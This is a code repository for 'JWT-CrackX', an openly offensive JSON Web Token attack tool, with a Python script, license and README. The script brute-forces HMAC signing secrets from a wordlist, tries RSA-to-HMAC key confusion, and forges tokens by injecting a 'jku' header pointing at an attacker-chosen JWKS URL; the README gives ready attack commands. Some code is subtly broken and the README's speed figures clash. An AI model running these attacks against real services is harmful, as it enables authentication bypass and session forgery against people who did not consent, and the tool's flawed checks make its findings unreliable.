├── JWT-CrackX.py ├── LICENSE └── README.md /JWT-CrackX.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import itertools 3 | import json 4 | import os 5 | import time 6 | import jwt 7 | from jwt import PyJWTError 8 | from concurrent.futures import ThreadPoolExecutor 9 | from cryptography.hazmat.primitives import serialization 10 | from colorama import Fore, Style, init 11 | from tqdm import tqdm 12 | 13 | 14 | init(autoreset=True) 15 | 16 | def print_banner(): 17 | banner = f""" 18 | \t\t███████{Fore.RED}╗{Style.RESET_ALL}███████{Fore.RED}╗{Style.RESET_ALL} ██████{Fore.RED}╗{Style.RESET_ALL}██████{Fore.RED}╗ {Style.RESET_ALL}███████{Fore.RED}╗{Style.RESET_ALL}████████{Fore.RED}╗{Style.RESET_ALL} 19 | \t\t██{Fore.RED}╔════╝{Style.RESET_ALL}██{Fore.RED}╔════╝{Style.RESET_ALL}██{Fore.RED}╔════╝{Style.RESET_ALL}██{Fore.RED}╔══{Style.RESET_ALL}██{Fore.RED}╗{Style.RESET_ALL}██{Fore.RED}╔════╝{Style.RESET_ALL}{Fore.RED}╚══{Style.RESET_ALL}██{Fore.RED}╔══╝{Style.RESET_ALL} 20 | \t\t███████{Fore.RED}╗{Style.RESET_ALL}█████{Fore.RED}╗{Style.RESET_ALL} ██{Fore.RED}║ {Style.RESET_ALL}██{Fore.RED}║ {Style.RESET_ALL}██{Fore.RED}║{Style.RESET_ALL}█████{Fore.RED}╗ {Style.RESET_ALL}██{Fore.RED}║ {Style.RESET_ALL} 21 | \t\t{Fore.RED}╚════{Style.RESET_ALL}██{Fore.RED}║{Style.RESET_ALL}██{Fore.RED}╔══╝ {Style.RESET_ALL}██{Fore.RED}║ {Style.RESET_ALL}██{Fore.RED}║ {Style.RESET_ALL}██{Fore.RED}║{Style.RESET_ALL}██{Fore.RED}╔══╝ {Style.RESET_ALL}██{Fore.RED}║ {Style.RESET_ALL} 22 | \t\t███████{Fore.RED}║{Style.RESET_ALL}███████{Fore.RED}╗{Style.RESET_ALL}{Fore.RED}╚{Style.RESET_ALL}██████{Fore.RED}╗{Style.RESET_ALL}██████{Fore.RED}╔╝{Style.RESET_ALL}███████{Fore.RED}╗ {Style.RESET_ALL}██{Fore.RED}║ {Style.RESET_ALL} 23 | \t\t{Fore.RED}╚══════╝╚══════╝ ╚═════╝╚═════╝ ╚══════╝ ╚═╝ {Style.RESET_ALL} 24 | {Style.RESET_ALL}.______________________________________________________{Fore.RED}|_._._._._._._._._._.{Style.RESET_ALL} 25 | {Style.RESET_ALL} \_____________________________________________________{Fore.RED}|_#_#_#_#_#_#_#_#_#_|{Style.RESET_ALL} 26 | {Fore.RED}l {Style.RESET_ALL} 27 | \t{Fore.RED}JWT-CrackX v2.0 {Style.RESET_ALL}| {Fore.MAGENTA}Algs: HS256/HS512/RS256/ES256/ES512 {Style.RESET_ALL}| {Fore.RED}JWKS Injection\n 28 | \t\t\t\t{Style.RESET_ALL}Created by {Fore.RED}SecDet Samurai{Style.RESET_ALL} 29 | """ 30 | print(banner) 31 | 32 | 33 | def batch(iterable, n=1): 34 | l = len(iterable) 35 | for ndx in range(0, l, n): 36 | yield iterable[ndx:min(ndx + n, l)] 37 | 38 | class JWTScanner(object): 39 | 40 | SUPPORTED_ALGS = ['HS256', 'HS384', 'HS512', 'RS256', 'ES256', 'ES512'] 41 | TOP_SECRETS = ["secret", "", "password", "123456", "jwts3cr3t!", "..."] 42 | 43 | def __init__(self): 44 | self.token = None 45 | self.header = None 46 | self.alg = None 47 | 48 | def validate_token(self, token: str): 49 | try: 50 | parts = token.split('.') 51 | if len(parts) != 3: 52 | raise ValueError("Invalid JWT structure") 53 | 54 | self.token = token 55 | self.header = jwt.get_unverified_header(token) 56 | self.alg = self.header.get('alg', '').upper() 57 | return True 58 | 59 | except Exception as e: 60 | self.print_error(f"Token validation failed: {str(e)}") 61 | return False 62 | 63 | def print_status(self, message: str, status: str = "info"): 64 | colors = { 65 | "info": Fore.CYAN, 66 | "success": Fore.GREEN, 67 | "warn": Fore.YELLOW, 68 | "error": Fore.RED 69 | } 70 | print(f"\n{colors[status]}[*] {message}{Style.RESET_ALL}") 71 | 72 | def print_error(self, message: str): 73 | print(f"\n{Fore.RED}[!] ERROR: {message}{Style.RESET_ALL}") 74 | 75 | def check_none_alg(self): 76 | try: 77 | payload = jwt.decode(self.token, options={"verify_signature": False}) 78 | self.print_status("'none' algorithm vulnerability found!", "success") 79 | self.show_payload(payload) 80 | return True 81 | except Exception as e: 82 | self.print_error(f"None algorithm check failed: {str(e)}") 83 | return False 84 | 85 | def brute_force(self, wordlist: str, threads: int = 8): 86 | if not os.path.exists(wordlist): 87 | raise FileNotFoundError(f"Wordlist not found: {wordlist}") 88 | 89 | self.print_status(f"Starting brute-force with {threads} threads...", "info") 90 | 91 | start = time.time() 92 | for secret in self.TOP_SECRETS: 93 | try: 94 | jwt.decode(self.token, secret, algorithms=[self.alg]) 95 | self.print_status(f"Found secret in common list: {secret}", "success") 96 | self.show_payload(jwt.decode(self.token, secret, algorithms=[self.alg])) 97 | return 98 | except PyJWTError: 99 | continue 100 | 101 | with open(wordlist, 'r', errors='ignore') as f: 102 | wordlist_content = f.readlines() 103 | total = len(wordlist_content) 104 | 105 | with ThreadPoolExecutor(max_workers=threads) as executor: 106 | chunks = batch(wordlist_content, 1000) 107 | progress = tqdm(total=total, desc="Processing", unit="word") 108 | 109 | for chunk in chunks: 110 | secrets = [line.strip() for line in chunk if line.strip()] 111 | futures = [executor.submit( 112 | jwt.decode, self.token, s, algorithms=[self.alg] 113 | ) for s in secrets] 114 | 115 | for i, future in enumerate(futures): 116 | try: 117 | future.result() 118 | progress.close() 119 | self.print_status(f"Valid secret found: {secrets[i]}", "success") 120 | self.show_payload(jwt.decode(self.token, secrets[i], algorithms=[self.alg])) 121 | return 122 | except PyJWTError: 123 | progress.update(1) 124 | except Exception as e: 125 | progress.close() 126 | raise e 127 | progress.close() 128 | 129 | self.print_error("Brute-force unsuccessful - no valid secrets found") 130 | 131 | def key_confusion(self, key_path: str): 132 | try: 133 | with open(key_path, 'r') as f: 134 | key_data = f.read() 135 | 136 | try: 137 | key = serialization.load_pem_public_key(key_data.encode()) 138 | except ValueError: 139 | key = serialization.load_der_public_key(key_data.encode()) 140 | 141 | results = {} 142 | for alg in self.SUPPORTED_ALGS: 143 | try: 144 | decoded = jwt.decode(self.token, key_data, algorithms=[alg]) 145 | results[alg] = decoded 146 | except PyJWTError: 147 | continue 148 | 149 | if results: 150 | self.print_status("Key confusion successful!", "success") 151 | for alg, payload in results.items(): 152 | print(f"\n{Fore.YELLOW}Algorithm: {alg}{Style.RESET_ALL}") 153 | self.show_payload(payload) 154 | else: 155 | self.print_error("No valid algorithms found for key confusion") 156 | 157 | except Exception as e: 158 | self.print_error(f"Key confusion failed: {str(e)}") 159 | 160 | def jwks_injection(self, jwks_url: str): 161 | try: 162 | new_header = self.header.copy() 163 | new_header["jku"] = jwks_url 164 | 165 | payload = jwt.decode(self.token, options={"verify_signature": False}) 166 | forged_token = jwt.encode( 167 | payload=payload, 168 | key="", 169 | algorithm=self.alg, 170 | headers=new_header 171 | ) 172 | 173 | self.print_status("JWKS injection successful!", "success") 174 | print(f"\n{Fore.GREEN}Forged Token:{Style.RESET_ALL}\n{forged_token}") 175 | 176 | except Exception as e: 177 | self.print_error(f"JWKS injection failed: {str(e)}") 178 | 179 | def show_payload(self, payload: dict): 180 | print(f"\n{Fore.GREEN}Decoded Payload:{Style.RESET_ALL}") 181 | print(json.dumps(payload, indent=2)) 182 | 183 | 184 | def main(): 185 | print_banner() 186 | scanner = JWTScanner() 187 | 188 | parser = argparse.ArgumentParser( 189 | description="JWT-CrackX Exploitation Framework", 190 | formatter_class=argparse.RawTextHelpFormatter 191 | ) 192 | parser.add_argument('-t', '--token', required=True, help="JWT token to analyze") 193 | parser.add_argument('-w', '--wordlist', help="Path to secrets wordlist") 194 | parser.add_argument('-p', '--pubkey', help="Path to public key file") 195 | parser.add_argument('--jwks', help="JWKS endpoint URL for injection") 196 | parser.add_argument('--threads', type=int, default=8, 197 | help="Number of threads (default: 8)") 198 | 199 | args = parser.parse_args() 200 | 201 | try: 202 | if not scanner.validate_token(args.token): 203 | return 204 | 205 | if scanner.alg == "NONE": 206 | scanner.check_none_alg() 207 | return 208 | 209 | if args.wordlist and scanner.alg in ["HS256", "HS384", "HS512"]: 210 | scanner.brute_force(args.wordlist, args.threads) 211 | return 212 | 213 | if args.pubkey: 214 | scanner.key_confusion(args.pubkey) 215 | return 216 | 217 | if args.jwks: 218 | scanner.jwks_injection(args.jwks) 219 | return 220 | 221 | scanner.print_error("No valid attack vectors found") 222 | print(f"\n{Fore.YELLOW}Try:{Style.RESET_ALL}") 223 | print("- Use --wordlist for HS* algorithms") 224 | print("- Use --pubkey for key confusion") 225 | print("- Use --jwks for endpoint injection") 226 | 227 | except Exception as e: 228 | scanner.print_error(str(e)) 229 | except KeyboardInterrupt: 230 | scanner.print_error("Operation cancelled by user") 231 | 232 | 233 | if __name__ == "__main__": 234 | main() 235 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 SecDet Samurai 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🔒 JWT-CrackX: Advanced JWT Vulnerability Scanner & Exploitation Toolkit 2 | 3 | [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) 4 | [![Python 3.8+](https://img.shields.io/badge/Python-3.8%2B-blue.svg)](https://www.python.org/) 5 | [![Version 2.0.0](https://img.shields.io/static/v1?label=version&message=2.0.0&color=green)](https://github.com/Untouchable17/JWT-CrackX/releases) 6 | 7 | 8 |

9 | 10 | 11 | 12 |

13 | 14 | 15 | **The Swiss Army Knife for JWT Security Testing** 16 | A high-performance tool for identifying and exploiting vulnerabilities in JSON Web Tokens (JWT). Designed for security professionals and developers working with JWT implementations. Now with advanced attack vectors and 3x faster brute-force 17 | ``` 18 | python3 JWT-CrackX.py -t [--jwks URL] [-w wordlist.txt] [-p public.pem] [--threads 12] 19 | 20 | # Run sample attack 21 | python3 JWT-CrackX.py -t eyJhbGci... -w top100.txt 22 | ``` 23 | --- 24 | ## 🚀 What's New in v2.0? 25 | | **Feature** | **v1.0** | **v2.0** | 26 | |--------------------------|--------------------------|-----------------------------------| 27 | | **JWKS Injection** | ❌ Not supported | ✅ Full implementation | 28 | | **Algorithm Support** | `HS256`/`HS512` only | + `RS256`/`ES256`/`ES512` | 29 | | **Brute-force Engine** | Basic threading | Chunked processing + Progress Bar | 30 | | **Memory Usage** | High (full file load) | Optimized (generator-based) | 31 | | **Pre-checks** | None | TOP_SECRETS validation | 32 | | **Error Handling** | Basic | Advanced validation | 33 | | **Key Formats** | PEM only | PEM + DER support | 34 | 35 | 36 | ## 🛠️ Core Capabilities 37 | 38 | ### 🔥 Brutal Brute-Force 39 | - **HS256/HS512 Secret Cracking** 40 | - Multi-threaded architecture (8-32 threads) 41 | - Intelligent chunk processing (1000 secrets/chunk) 42 | - Built-in top-100 secrets pre-check 43 | - Real-time progress tracking with `tqdm` 44 | 45 | ```bash 46 | python3 JWT-CrackX.py -t -w secrets.txt --threads 16 47 | ``` 48 | 49 | ## Supported Attacks 50 | | Attack Type | Description | Example Command | 51 | |----------------------|------------------------------------------|-----------------------| 52 | | **Secret Brute-Force** | Dictionary attacks against HS* algorithms | `-w passwords.txt` | 53 | | **Algorithm Null** | Exploit `alg:none` misconfigurations | (automatic detection) | 54 | | **Key Confusion** | RSA public key as HMAC secret | `-p public.pem` | 55 | | **JWKS Injection** | Spoof JWKS endpoint for key validation | `--jwks http://...` | 56 | | **Header Manipulation**| Craft malicious JWT headers | (auto-generated) | 57 | 58 | ## 🚨 Advanced Features 59 | 60 | ### Smart Vulnerability Detection 61 | - **alg:none Exploitation** 62 | - Instant detection of unsigned tokens 63 | - Automatic payload extraction 64 | - Structure validation (3-part segmentation) 65 | 66 | ### Military-Grade Exploits 67 | - **RSA-HMAC Confusion** 68 | - Public key reuse for signature forgery 69 | - Support for PEM/DER key formats 70 | - Automatic algorithm downgrade detection 71 | 72 | ```bash 73 | python3 JWT-CrackX.py -t -p public.pem 74 | ``` 75 | 76 | ## ⚡ Performance Benchmarks 77 | 78 | | Mode | Command | Key Functionality | Performance | 79 | |--------------------|------------------------------|---------------------------|-----------------------| 80 | | **Analysis** | `-t ` | Header inspection | Instant | 81 | | **Brute-Force** | `-t -w wordlist` | Secret cracking | 58k attempts/sec | 82 | | **Key Confusion** | `-t -p public.pem` | Signature forgery | 1.2k validations/sec | 83 | 84 | 85 | --- 86 |

Execution Modes

87 | 88 | > Analysis Mode (default) 89 | ```bash 90 | python3 JWT-CrackX.py -t 91 | ``` 92 | - **Features:** 93 | - Parses JWT header for algorithm, key ID (kid), and other parameters. 94 | - Validates token structure (3-part segmentation). 95 | - **Algorithm Validation** 96 | - Checks for insecure algorithms (none, weak RSA keys). 97 | - Detects unsupported or deprecated algorithms. 98 | - **Basic Payload Decoding** 99 | - Decodes payload without signature verification. 100 | - Displays standard claims (iss, sub, exp, etc.). 101 | 102 | > Brute-Force Mode 103 | ```bash 104 | python3 JWT-CrackX.py -t -w ./wordlists/secrets.txt --threads 12 105 | ``` 106 | - **Performance** 107 | - Throughput: ~15,000 attempts/sec (on i7-11800H) 108 | - Multi-threaded execution (default: 8 threads, configurable via --threads) 109 | 110 | > Key Confusion Mode 111 | ```bash 112 | python3 JWT-CrackX.py -t -p ./keys/public.pem 113 | ``` 114 | - **Supported Key Formats** 115 | - PEM (PKCS#1, PKCS#8) 116 | - DER (automatically converted to PEM) 117 | - **Tested Algorithms** 118 | - HS256, HS384, HS512 119 | - Automatic algorithm detection based on key size 120 | - **Attack Mechanism** 121 | - Uses public RSA key as HMAC secret 122 | - Validates token signature with forged key 123 | 124 | ## 📦 Installation 125 | 126 | ```bash 127 | # Clone repository 128 | git clone https://github.com/Untouchable17/JWT-CrackX.git 129 | cd JWT-CrackX 130 | 131 | # Install dependencies 132 | pip install -r requirements.txt 133 | ``` 134 | 135 |

Contact Developer

136 | 137 | Telegram Group: t.me/secdet_team 138 | Email: tylerblackout17@gmail.com 139 | --------------------------------------------------------------------------------